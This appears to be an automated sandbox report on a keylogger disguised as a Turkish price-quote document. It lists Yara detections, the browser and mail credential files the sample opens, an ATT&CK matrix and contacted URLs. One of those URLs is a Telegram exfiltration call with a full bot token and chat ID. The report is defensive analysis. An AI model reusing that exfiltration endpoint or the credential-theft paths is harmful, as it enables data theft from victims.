Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.SnakeKeylogger
fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	100%	Avira URL Cloud	phishing
http://aborters.duckdns.org:8081	100%	Avira URL Cloud	phishing
http://51.38.247.67:8081/_send_.php?L	0%	Avira URL Cloud	safe
http://varders.kozow.com:8081	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2010/01/2025%20/%2004:43:02%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U/sendDocument?chat_id=-4732682041&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.8.dr	false		high
